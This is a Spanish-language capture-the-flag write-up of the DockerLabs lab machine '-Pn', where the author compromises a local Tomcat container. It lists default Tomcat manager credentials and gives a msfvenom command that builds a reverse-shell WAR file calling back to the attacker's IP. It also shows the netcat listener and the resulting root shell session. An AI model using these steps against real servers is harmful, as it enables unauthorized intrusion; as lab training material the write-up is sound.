



Write-Up: Máquina "-Pn"

📍 Plataforma: DockerLabs

📍 Dificultad: Fácil

📍 Autor: Joaquín Picazo

🔍 Metodología de Pentesting

El proceso se realizó siguiendo la siguiente metodología:

- 1 **Reconocimiento** – Recolección de información general sobre la máquina objetivo.
 - 2 **Escaneo y Enumeración** – Identificación de servicios, tecnologías y versiones en uso.
 - 3 **Explotación** – Uso de vulnerabilidades encontradas para obtener acceso al sistema.
 - 4 **Escalada de Privilegios y Post-Explotación** – Obtención de permisos elevados hasta lograr acceso total para realizar una extracción de información.
-



1. Reconocimiento y Recolección de Información

Confirmo conectividad con la máquina objetivo.

```
(kali㉿kali)-[~]
$ ping 172.17.0.2 -c 1
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.178 ms

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.178/0.178/0.178/0.000 ms
```

⌚ 2. Escaneo y Enumeración

Escaneo sus puertos abiertos y obtengo sus versiones para analizar posibles vulnerabilidades conocidas, además, me permitirá pensar la forma de ataque que haré. Se que en la web del puerto 8080 hay un Tomcat corriendo.

```
(kali㉿kali)-[~]
$ nmap -p- -sS -Pn -sV --open 172.17.0.2
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-30 15:25 EDT
Nmap scan report for jenkhack.hl (172.17.0.2)
Host is up (0.00001s latency).

Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.5
8080/tcp  open  http    Apache Tomcat 9.0.88
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.47 seconds
```

Busco directorios en su web, encuentro un directorio interesante.

```
(kali㉿kali)-[~]
$ dirb http://172.17.0.2:8080

_____
DIRB v2.22
By The Dark Raver

_____

START_TIME: Wed Jul 30 16:13:21 2025
URL_BASE: http://172.17.0.2:8080/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

_____

GENERATED WORDS: 4612

_____
Scanning URL: http://172.17.0.2:8080/
+
+ http://172.17.0.2:8080/docs (CODE:302|SIZE:0)
+ http://172.17.0.2:8080/examples (CODE:302|SIZE:0)
+ http://172.17.0.2:8080/favicon.ico (CODE:200|SIZE:21630)
+ http://172.17.0.2:8080/host-manager (CODE:302|SIZE:0)
+ http://172.17.0.2:8080/manager (CODE:302|SIZE:0)

_____
END_TIME: Wed Jul 30 16:13:25 2025
DOWNLOADED: 4612 - FOUND: 5
```

Según <https://hacktricks.boitotech.com.br/pentesting/pentesting-web/tomcat> existen las siguientes contraseñas por default:

The screenshot shows a web browser window with the URL <https://hacktricks.boitotech.com.br/pentesting/pentesting-web/tomcat>. The page title is "Default credentials". On the left, there's a sidebar with navigation links like "HackTricks", "About the author", "Getting Started in Hacking", etc. The main content area contains text about Tomcat's manager path and a list of default credentials:

The most interesting path of Tomcat is `/manager/html`, inside that **path you can upload and deploy war files** (execute code). But this path is protected by basic HTTP auth, the most common credentials are:

- `admin:admin`
- `tomcat:tomcat`
- `admin:<NOTHING>`
- `admin:s3cr3t`
- `tomcats3cr3t`
- `admin:tomcat`

You could test these and more using:

3. Explotación de Vulnerabilidades

Una de las credenciales anteriores me permitió loguearme, ya que no cambiaron las contraseñas por defecto. Hay una zona que permite subir archivos con extensión .war, esto podría permitir subir un archivo malicioso que al ejecutarlo se realice una reverse shell.

The screenshot shows the Tomcat Manager interface at the URL `172.17.0.2:8080/manager/html`. The page title is "Manager Help". In the top navigation bar, there are links for OffSec, Kali Linux, Kali Tools, Kali Docs, Kali Forums, Kali NetHunter, Exploit-DB, and Google Hacking DB. Below the navigation, there is a "WAR file to deploy" section with fields for "Version (for parallel deployment)", "XML Configuration file path", and "WAR or Directory path". A "Deploy" button is at the bottom of this section. The main content area has a yellow header "WAR file to deploy" containing a "Select WAR file to upload" input field, a "Browse..." button, and a note "No file selected.". Below this is another "Deploy" button.

Hago con payload de tipo .war usando msfvenom el cual es para una reverse shell.

The screenshot shows the RevShells.com Reverse Shell Generator tool. The title is "Reverse Shell Generator". It has a "Theme" dropdown set to "Dark". Under "IP & Port", the IP is set to "172.17.0.1" and the Port is "1234". Under "Listener", it shows "nc -lvpn 1234" and "Type: nc". There are tabs for "Reverse", "Bind", "MSFVenom" (which is selected), and "HoaxShell". A sidebar lists "OS: All", "Name: Search...", and "Payloads: msfvenom -p java/shell_reverse_tcp LHOST=172.17.0.1 LPORT=1234 -f war -o shell.war". At the bottom, there are tabs for "PHP Meterpreter Stageless Reverse TCP", "PHP Reverse PHP", "JSP Stageless Reverse TCP", and "WAR Stageless Reverse TCP". Below the generator, a terminal window shows the command: `msfvenom -p java/shell_reverse_tcp LHOST=172.17.0.1 LPORT=1234 -f war > reverseshell.war`. The output says "Payload size: 13031 bytes" and "Final size of war file: 13031 bytes".

Subo el archivo .war generado por msfvenom el cual contiene una reverse shell.

The screenshot shows the Tomcat Manager interface at the URL `172.17.0.2:8080/manager/html`. The page title is "Manager Help". In the top navigation bar, there are links for OffSec, Kali Linux, Kali Tools, Kali Docs, Kali Forums, Kali NetHunter, Exploit-DB, and Google Hacking DB. Below the navigation, there is a "WAR file to deploy" section with fields for "Select WAR file to upload" (containing "reverseshell.war"), a "Browse..." button, and a "Deploy" button.

Me pongo a la escucha con netcat

The screenshot shows a terminal window with the command `nc -lvpn 1234` running. The output shows "listening on [any] 1234 ...".

Veo que al inicio de la web mi reverse shell se cargó exitosamente y aparece en el sistema.

The screenshot shows the Tomcat Manager interface at the URL `172.17.0.2:8080/manager/html`. The page title is "Manager Help". In the top navigation bar, there are links for OffSec, Kali Linux, Kali Tools, Kali Docs, Kali Forums, Kali NetHunter, Exploit-DB, and Google Hacking DB. Below the navigation, there is a "List Applications" table. The table has columns: Path, Version, Display Name, Running, Sessions, and Commands. The rows are: "/" (None specified, Welcome to Tomcat, true, 0, Start, Stop, Reload, Undeploy, Expire sessions with idle ≥ 30 minutes); "/docs" (None specified, Tomcat Documentation, true, 0, Start, Stop, Reload, Undeploy, Expire sessions with idle ≥ 30 minutes); "/examples" (None specified, Servlet and JSP Examples, true, 0, Start, Stop, Reload, Undeploy, Expire sessions with idle ≥ 30 minutes); "/host-manager" (None specified, Tomcat Host Manager Application, true, 0, Start, Stop, Reload, Undeploy, Expire sessions with idle ≥ 30 minutes); "/manager" (None specified, Tomcat Manager Application, true, 1, Start, Stop, Reload, Undeploy, Expire sessions with idle ≥ 30 minutes); and "/reverseshell" (None specified, true, 1, Start, Stop, Reload, Undeploy, Expire sessions with idle ≥ 30 minutes).

🔒 4. Escalada de Privilegios y Post-exploitación

En mi caso al ingresar a <http://172.17.0.2:8080/reverseshell/> el navegador leerá el archivo y lo ejecutará, haciendo que el código malicioso de la reverse shell funcione. Recibo la conexión con éxito, es decir, estoy dentro de la máquina. Ya soy root, esto puede deberse a que el proceso/servicio de Tomcat estuviera siendo ejecutado por el usuario root.

```
(kali㉿kali)-[~]
$ nc -lvpn 1234
listening on [any] 1234 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 53188
whoami
root
pwd
/home
/
ls -la
total 72
drwxr-xr-x  1 root root 4096 Jul 30 19:15 .
drwxr-xr-x  1 root root 4096 Jul 30 19:15 ..
-rw xr-xr-x  1 root root    0 Jul 30 19:15 .dockerenv
lrwxrwxrwx  1 root root    7 Apr 10 2024 bin → usr/bin
drwxr-xr-x  2 root root 4096 Apr 18 2022 boot
drwxr-xr-x  5 root root  340 Jul 30 19:15 dev
drwxr-xr-x  1 root root 4096 Jul 30 19:15 etc
drwxr-xr-x  2 root root 4096 Apr 18 2022 home
lrwxrwxrwx  1 root root    7 Apr 10 2024 lib → usr/lib
lrwxrwxrwx  1 root root    9 Apr 10 2024 lib32 → usr/lib32
lrwxrwxrwx  1 root root    9 Apr 10 2024 lib64 → usr/lib64
lrwxrwxrwx  1 root root   10 Apr 10 2024 libx32 → usr/libx32
drwxr-xr-x  2 root root 4096 Apr 10 2024 media
drwxr-xr-x  2 root root 4096 Apr 10 2024 mnt
drwxr-xr-x  1 root root 4096 Apr 19 2024 opt
dr-xr-xr-x 255 root root    0 Jul 30 19:15 proc
drwx——— 1 root root 4096 Apr 19 2024 root
drwxr-xr-x  1 root root 4096 Apr 19 2024 run
lrwxrwxrwx  1 root root    8 Apr 10 2024 sbin → usr/sbin
drwxr-xr-x  1 root root 4096 Apr 19 2024 srv
dr-xr-xr-x 13 root root    0 Jul 30 19:15 sys
drwxrwxrwt  1 root root 4096 Apr 19 2024 tmp
drwxr-xr-x  1 root root 4096 Apr 10 2024 usr
drwxr-xr-x  1 root root 4096 Apr 10 2024 var
ls -la /root
total 24
drwx——— 1 root root 4096 Apr 19 2024 .
drwxr-xr-x 1 root root 4096 Jul 30 19:15 ..
-rw——— 1 root root 127 Apr 19 2024 .bash_history
-rw-r--r-- 1 root root 3106 Oct 15 2021 .bashrc
drwxr-xr-x 3 root root 4096 Apr 19 2024 .local
-rw-r--r-- 1 root root 161 Jul  9 2019 .profile
ls -la /home
total 8
drwxr-xr-x 2 root root 4096 Apr 18 2022 .
drwxr-xr-x 1 root root 4096 Jul 30 19:15 ..
```

🏆 Banderas y Resultados

- ✓ **Usuario:** Se obtuvo acceso al panel web de administración de Tomcat.
- ✓ **Root:** Se logró obtener privilegios elevados con la reverse shell efectuada directamente desde el panel de administración de Tomcat.

